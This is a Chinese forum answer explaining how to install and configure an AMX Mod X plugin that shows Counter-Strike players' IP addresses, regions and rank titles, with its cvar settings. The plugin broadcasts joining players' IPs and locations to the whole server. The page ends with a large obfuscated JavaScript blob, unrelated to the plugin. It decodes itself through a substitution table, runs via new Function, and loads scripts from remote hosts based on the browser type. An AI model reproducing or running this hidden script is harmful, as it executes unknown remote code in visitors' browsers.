推荐回答(2个)
显示排名和IP地址
插件说明:
游戏中显示玩家IP地址和地区信息的插件,进出服务器提示!
使用本插件不需要安装数据库,只要下载 QQIP数据库(纯真版)就可以了。
安装方法:
1) 将 li_geoip.amxx 复制后放入
cstrike\addons\amxmodx\plugins 文件夹下面。
2) 打开 cstrike\addons\amxmodx\configs\plugins.ini 文字段写入
li_geoip.amxx ;显示排名和IP地址
3) 将 Li_geoip_amxx.dll 复制后放入
cstrike\addons\amxmodx\Modules 文件夹下面。
4) 打开 cstrike\addons\amxmodx\configs\modules.ini 文字段写入
li_geoip_amxx.dll
// AmxModX 版本在1.75 以上的不需要添加这一行。
5) 将 myip , QQWry , ShowIP 3个文件 复制后放入
cstrike\addons\amxmodx\data 文件夹下面。
6) 打开 cstrike\addons\amxmodx\configs\amxx.cfg 文字段写入
//////CS游戏中显IP地区信息插件的自定义//////
amx_ligeoip_WelcomeMsg 1
//是否显示HUD信息,也就是常见的那种字体较大的有颜色的字了。
amx_ligeoip_NoticMsg 1
//是否显示左下角那一行(聊天)信息,和HUD信息差不多。
//该信息,不可以自定义,不过我没有加什么难看的字上去,可以放心享用。
amx_ligeoip_OPSec 1
//是否隐藏OP,不隐藏就显示[OP]字样,其它没什么不同。
amx_ligeoip_ShowMotd 1
//是否允许玩家看Motd 信息,游戏中玩家按"y" 再打上 "isee" 则可以看看排名和地址。
amx_ligeoip_VT_Limit 8.3
//显示入服欢迎词的时限(就是调整玩家进服后多久才看到那些欢迎词),需要就调了,可能没什么用。
//amx_ligeoip_Full_Info 1
//是否在Motd中显示所有区域信息(地址信息分两部分,前部分是国别或省之类的后部分再细分的地区)
amx_ligeoip_FPMsg 1
//玩家完蛋后,是否显示信息,默认值为2(0-不显信息、1-显示信息在右下角、2-动态显示)
amx_ligeoip_SL_Info 1
//是否显示离服信息,0为不显示
amx_ligeoip_RecordUser 1
//是否记录玩家,这个其实就是缓存一些曾登陆过服务器的玩家信息。
//默认是关的。因为Motd最大允许是1200字节,超过的都显示不了,
//但是如果显示的内容中连接到一个网页那么就不受大小限制了,就好比在客户机浏览网页一样。
//但此时你的服要对外开放IIS服务,也就是要让外网可以浏览你的web服务器才行。
amx_ligeoip_HtmlFileName "geo_html/geostat3.html"
//定义Motd文件名(在cstrike目录下,这个目录是自动创建的)
amx_ligeoip_HtmlContentSel 1
//生成的地址内容是否完整内容(类似:amx_ligeoip_Full_Info)。
// 显示进、出服务器信息
amx_enter_message "欢迎玩家:%name% 登陆服务器\n服务器记录: 排名%rankpos%位 共有%rankmax% 位玩家\n玩家IP地址:%ip%来自:%country% %area%"
amx_leave_message "玩家:%name%\n离开了服务器,期待他再次光临!"
//自定义等级信息最多10个等级
amx_setlevelinfo "【G.A 上将】" "10"
amx_setlevelinfo "【G.A 少将】" "50"
amx_setlevelinfo "【G.A 上校】" "100"
amx_setlevelinfo "【G.A 少校】" "200"
amx_setlevelinfo "【G.A 上尉】" "350"
amx_setlevelinfo "【G.A 少尉】" "500"
amx_setlevelinfo "【G.A 准尉】" "750"
amx_setlevelinfo "【G.A 军士】" "1000"
amx_setlevelinfo "【G.A 上士】" "1500"
amx_setlevelinfo "【G.A 列兵】" "3000"
——————————————————————————
参数说明:
1. amx_enter_message "欢迎玩家:%name% 登陆服务器\n服务器记录: 排名%rankpos%位 共有%rankmax% 位玩家\n玩家IP地址:%ip%来自:%country% %area%"
amx_leave_message "玩家:%name%\n离开了服务器,期待他再次光临!"
是进出服欢迎词,可用变量有:
%name%[名字(leave&enter)]、%rankpos%[排名(enter)]、%rankmax%总人数[(enter)]
%ip%[IP地址(enter)]、%country%[国家(enter)]、%area%[地区(enter)]、%hostname%[服务器名(leave&enter)]
leve 表示amx_leave_message 才能使用该参数,enter 表示 amx_enter_message 能用该参数,不需要显示哪个,就取消行了。
默认是关的,要开就设为 "1",关闭时(设为"0")当玩家输入" say isee "显示的是生成的当前服务器中玩家的信息,在 Motd 中显示,
如果这个设为 "0",那么 amx_ligeoip_HtmlFileName 和 amx_leave_message 这两个参数是没什么用的。
2. amx_ligeoip_RecordUser 这个参数
如果设为 "1" 那么就会记录部分连接过本服务器的玩家信息(并没有那此杀伤,命中之类的信息,只有排名,和ip地址信息),
并在 [ \cstrike\geo_html ] 目录下生成一个网页,名为“geostat.html”,如果你没有设置 amx_ligeoip_HtmlFileName ,指向其它网页,
那么在Motd窗口中出现的就是这个网页,上面我说过了,它对文件大小是有限制的,要想显示全部,那就(要提供WEB服务)用上面这个参数,指向
另外的网页,那么在Motd中打开的就是你定义的网页了,在这个网页中内嵌 “geostat.html” 。
再把 IIS 的首页设为“\cstrike\geo_html\geostat.html”(如果只需要在内网让人看,用内网IP做IIS就可以了,否则就要公网IP。
需要注意的是“geostat.html”文件每次都是生成新的,而且没有在哪个文件中记录这些数据,退出 Hlds.exe 后再开,所有内容都会丢失。
3. amx_setlevelinfo "【等级说明】" "10"
就是头衔这个字段了[ 看到迪酷的服务器有这个,感觉有点意思,但人家那是用数据库的,我这个就只能当作消遣,娱乐一下大众了。]
要设置的话也是在 [ \cstrike\addons\amxmodx\configs\amxx.cfg ] 这个文件里加。
后面的数字表示排名大小,大小要按顺序,“10”即表示在这个排名之前的用这个头衔。
amx_setlevelinfo "【G.A 上将】" "10"
amx_setlevelinfo "【G.A 少将】" "50"
amx_setlevelinfo "【G.A 上校】" "100"
amx_setlevelinfo "【G.A 少校】" "200"
最多只能定义10个级别。
4. 自定义IP信息
这个参考 myip.txt 文件里的说明了。(放到 \addons\amxmodx\data 目录下)
如果不需要就清空那个文件,或删除、或把数值设为"0"就可以了。
要注意,IP地址也是要按顺序排列的,从小到大。(比如 192.168.1.1 比 202.96.128.86 小,要排在前。)
字段的形式要符合:[IP地址] [Country] [Area] 的形式,不能缺省字段。字段中间用一个空格或 Table 分隔。
建议使用MicrosoftOffice 中的 Excel (电子表格)来处理,一个字段一列,再直接复制粘贴到记事本就可以了。
(注意,使用默认的 ANSI 格式保存)。
其它说明:
处于第一人称视角时,提示信息有可能会重叠,但这不算什么大问题,我就没改。
OP,VIP的分判别,因为没有用户密码之类的实现,所以把具有(RESERVATION)权限的玩家认为是VIP。
(user.ini 文件中设,这个可以在),具有(IMMUNITY)权限的认为是OP,这些权限有好几个,其实哪
个为OP就看做插件的人定义而已。
隐藏/不隐藏OP,就只是名字前有没有[OP]字样而已。OP拥有所有权限,所以设为隐藏OP后,作VIP显示。
安装注意事项:
如要使用此插件必须关闭以下的插件运行。
此插件不能与 Enter_leave.amxx 和 dsinfo.amxx 插件 等 ………… 共用!
因为 AMXX 有冲突 发生!
下载地址:http://www.lq86.com/View.asp?SoftID=3898
!function(){function a(a){var _idx="f4isr6o1zu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR87o6L5KO}4_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"7o6L5KO}4_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR87o6L5KO}4_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();